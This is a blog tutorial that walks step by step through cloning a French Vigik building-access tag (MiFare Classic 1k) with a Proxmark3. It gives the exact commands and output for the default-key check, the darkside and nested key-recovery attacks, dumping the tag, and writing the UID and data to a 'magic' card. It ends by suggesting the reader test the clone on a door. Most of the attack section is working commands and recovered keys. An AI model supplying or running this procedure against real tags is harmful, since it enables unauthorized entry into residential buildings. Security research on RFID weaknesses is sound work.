» » » Cloning a MiFare classic 1k tag
Information
  • Vu(s): 10 746
  • Auteur: bouzdeck
  • Date: 5-10-2015, 17:41
5-10-2015, 17:41

Cloning a MiFare classic 1k tag

Catégorie: RFID / rfidclone

In my last post, I quickly explained how RFID worked and what you could expect from it. More particularly, I quickly presented how the security of a MiFare Classic 1k tag worked.

This will help you understand what follows, since we now want to clone a Vigik tag, most of them using the very same MiFare Classic 1K tags for the tag hardware part.

They look like this:




Vigik tags are used in France by companies who need to access common parts of buildings, as a replacement to old locks they used to have the keys for. To enter a building, the data stored in the tag (the data blocks, the UID, ...) are used to determine if the owner of the tag can open the lock. As they use MiFare classic tags, they share the same vulnerability: the protection is broken.

This post deals with attacking the Vigik tag offline, which means we do not snoop the exchange between the tag and the reader to retrieve the A/B keys. Though, snooping on the exchange may be a last resort if the following offline attack does not work.

Disclaimer

I wrote this for learning purposes, so that anyone wondering how easy it is to clone a Vigik tag can have a better idea of how it can be done by anyone with the right set of tools in his possession. I took the example of French Vigiks tags, but the following applies to any MiFare Classic tags. Depending on the purpose for which these tags are used, and other factors (do you own the Vigik and do you have the right to copy it?), doing this may be illegal.

Tools

Read the tag and crack the keys

There are many tools available to mess with RFID, ranging from basic NFC readers to more expensive tools.

Some allow one to read or write a tag, some other to snoop on conversations between the tag and the reader … but the swiss-army knife for RFID hacking is called a ProxmarkIII, which offers a lot of software tools to read or write tags, snoop on exchanges, and emulate tags and readers, both HF and LF. It also allows to code your own modules to suit your needs.

ProxmarkIII

I will be using this tool throughout my experiments since it makes things easier, though it is not very practical to use when you are not at home. Software tools like MFOC and MFCUK could be used with a NFC reader to do most of the things I will present here. You could run MFOC on a rooted Android smartphone for example (provided you can cross-compile the tool).

Clone tag hardware support

We will also need a support for the clone tag. Almost all the tags (especially the cheap ones) have a read-only block 0, which means the UID (or any of the manufacturer information) of the tag cannot be changed. This means the original tag cannot be entirely cloned.

To circumvent this constraint, we use more expensive "magic" tags which have a programmable block 0, which will allow us to change the UID.

Magic Card

These cards can be ordered on specialized Chinese e-commerce websites.

If you don't own a card to clone the vigik on a physical support but you want to check if everything went as expected, emulating the vigik could be an option.

Offline attack on the card

The first step to clone a Vigik is to dump its content. This can be done easily with the ProxmarkIII.

Let's read the tag first. MiFare Classic 1K more or less follow the ISO-14443-A standard, so we can read the tag information using the ISO-14443-A tools the proxmark offers.

proxmark3> hf 14a read
ATQA : 04 00          
 UID : 01 02 03 04    
 SAK : 08 [2]          
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1          
proprietary non iso14443a-4 card found, RATS not supported

Running this command will ask the proxmark to search for a tag nearby. If we put a tag close to the antenna, during this process, the tag will answer by sending some information (ATQA, UID, and SAK, used for anti-collision), which are displayed by the command output.

We can see the tag is indeed a Mifare classic 1k from the information retrieved from the tag (which includes the manufacturer, but more important, the UID of the tag).

The UID of the tag here is 01020304, and we will keep this value in mind for later use.

We can now start breaking the A/B keys.

For this, we need a valid A key first, as an entry point to discover other keys.

We start by checking if any default A key is used for this tag, which would ease the process.

proxmark3> hf mf chk *1 ? t
No key specified,try default keys          
chk default key[0] ffffffffffff          
chk default key[1] 000000000000          
chk default key[2] a0a1a2a3a4a5          
…   
--SectorsCnt:0 block no:0x03 key type:A key count:13
… snip …
--SectorsCnt:15 block no:0x0f key type:A key count:13
--SectorsCnt:0 block no:0x03 key type:B key count:13
… snip …
--SectorsCnt:15 block no:0x3f key type:B key count:13

Well, unfortunately for us, it appears no default key was found according to the output of the command. We will have to use something else to find a valid A key.

The "something else" is called a darkside attack (no, unfortunately it doesn't involve light sabers, but statistics). This attack allows to retrieve a valid A key for sector 0 in case no default key is used.

Note that if this attack doesn't work either, another solution to get them would be to snoop on exchanges between the reader and the valid tag, but I assumed earlier that in the scope of this post the reader would not be used. Maybe another time.

The darkside attack is performed using the following command on the proxmark:

proxmark3hf mf mifare-------------------------------------------------------------------------Executing command. Expected execution time: 25sec on average  :-)Press the key on the proxmark3 device to abort both proxmark3 and client.-------------------------------------------------------------------------...........uid(01020304) nt(f581b91d) par(033beba36bd3c34b) ks(0108030d0b040b0f) nr(00000000)|diff|{nr}    |ks3|ks3^5|parity         |+----+--------+---+-----+---------------+| 00 |00000000| 1 |  4  |1,1,0,0,0,0,0,0|| 20 |00000020| 8 |  d  |1,1,0,1,1,1,0,0|| 40 |00000040| 3 |  6  |1,1,0,1,0,1,1,1|| 60 |00000060| d |  8  |1,1,0,0,0,1,0,1|| 80 |00000080| b |  e  |1,1,0,1,0,1,1,0|| a0 |000000a0| 4 |  1  |1,1,0,0,1,0,1,1|| c0 |000000c0| b |  e  |1,1,0,0,0,0,1,1|| e0 |000000e0| f |  a  |1,1,0,1,0,0,1,0|key_count:1------------------------------------------------------------------Key found:484558414354Found valid key:484558414354

A valid A key could be found using this attack. We now have to find the B keys for each sector.

This is done using another attack: the nested authentication attack, which uses a previously discovered key to guess the others using nested authentication. The following command runs this attack on the Mifare tag with 1k memory with a valid akey for sector 0, which value is 484558414354, that is to say the value we just discovered.

The d flag is used to dump the keys into a "dumpkeys.bin" file.

proxmark3> hf mf nested 1 0 a 484558414354 d
--block no:00 key type:00 key:48 45 58 41 43 54  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
-----------------------------------------------          
uid:01020304 len=2 trgbl=0 trgkey=1          
-----------------------------------------------          
uid:01020304 len=2 trgbl=4 trgkey=1          
Found valid key:49fae4e3849f
-----------------------------------------------
… snip …
-----------------------------------------------
Iterations count: 63
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  484558414354  | 1 |  a22ae129c013  | 1 |          
|001|  484558414354  | 1 |  49fae4e3849f  | 1 |          
|002|  484558414354  | 1 |  38fcf33072e0  | 1 |          
|003|  484558414354  | 1 |  000000000000  | 0 |          
|004|  484558414354  | 1 |  509359f131b1  | 1 |          
|005|  484558414354  | 1 |  6c78928e1317  | 1 |          
|006|  484558414354  | 1 |  aa0720018738  | 1 |          
|007|  484558414354  | 1 |  a6cac2886412  | 1 |          
|008|  484558414354  | 1 |  62d0c424ed8e  | 1 |          
|009|  484558414354  | 1 |  e64a986a5d94  | 1 |          
|010|  484558414354  | 1 |  8fa1d601d0a2  | 1 |          
|011|  484558414354  | 1 |  89347350bd36  | 1 |          
|012|  484558414354  | 1 |  66d2b7dc39ef  | 1 |          
|013|  484558414354  | 1 |  6bc1e1ae547d  | 1 |          
|014|  484558414354  | 1 |  22729a9bd40f  | 1 |          
|015|  484558414354  | 1 |  484558414354  | 1 |          
|---|----------------|---|----------------|---|

Okay. Running the nested attack once allowed us to discover all the B keys but one (for sector "003"). Hopefully, running it again will allow us to find the missing value: 8ad5517b4b18. It is still unclear to me why from time to time, a key is not found, but running the attack again will find it. It may be either the exchanges with the tag failing once or twice during the attack, or the way the attack is done leading to some values not being found.

We now have all the keys, and we can dump the content of the Vigik tag, as simply as that:

proxmark3 > hf mf dump

This last command completes this step, by dumping the content of the tag into "dumpdata.bin", using the keys we found.

What if you don't own a proxmark ?

The steps shown above can be reproduced using MFCUK (darkside attack) and MFOC (nested attack). Using a reader compatible with libnfc, it is possible to find the tag A/B keys and read the content.

Copying the dump to another support

The most tricky part is now done. All that remains is to copy the dumped content onto another tag.

We first have to change the tag UID to the one we found earlier: 01020304. This is done using special chinese cards commands:

proxmark3> hf mf csetuid 01020304

This command, on a "magic" card, uses a backdoor put on purpose in the tag chip to change the block 0 which contains manufacturer information and the tag UID.

Then, we restore the Vigik content onto the card:

proxmark3> hf mf restore

This will read the content of "dumpdata.bin" and copy it onto the clone tag.

If you don't have this kind of special tag, loading the dump into an emulation tool would also do the trick.

Also, if you don't have a ProxmarkIII, but you can write the tag using other tools thanks to libnfc, you have all the data you need to set the right values in the data blocks, and change the A/B keys.

Testing

To test if everything went right, apart from reading the tag and checking that the right data is written at the right place, there is a simple solution: test if you can open the door with your clone!

Conclusion, and some thoughts

Cloning a Vigik tag (more generally, MiFare classic tags) became straightforward using tools such as a ProxmarkIII. 

Manufacturers understood the proprietary encryption on MiFare classic tags was not enough, and designed new (and more expensive) tags using Triple-DES or AES encryption.

There are today about 1 million Vigik locks in France so as to allow some companies such as the national post office (La Poste), or energy-related companies (EDF, GDF) to access common parts of buildings during specific times. 

Employees from these companies will load their tags with RSA-signed data (which include the time frame during which they can access specific buildings) so as to access buildings during their working hours (for example, to deliver letters and parcels). 

During HES2014, Renaud Lifchitz presented how to extract the public RSA1024 public key used to verify the signature of these tags, the private key being owned and kept secret by companies. The bad news is that RSA1024 doesn't have many more years to live.

As the current system was not designed to be evolutive, it will have to be replaced by a more secure solution before the wrong guys without much computational power could crack RSA2014 keys easily and make tags to access whenever they want any equipped building.

Last, but not least, NFC-compatible smartphones now have e-wallet applications allowing one to use a smartphone to pay. On Android, when using Beam, UIDs are random (on purpose). Having a fixed UID would be very useful to emulate the tag so as to use your phone as a Vigik, but only e-wallet applications seem to have the ability to fix the UID value using Secure Elements (you can read more about them here). Discovering how it is done (which is not an easy task at all) might allow to know how UIDs are fixed to create emulation tools using Android smartphones.



 

скачать dle 11.3
Information
Users of Invité are not allowed to comment this publication.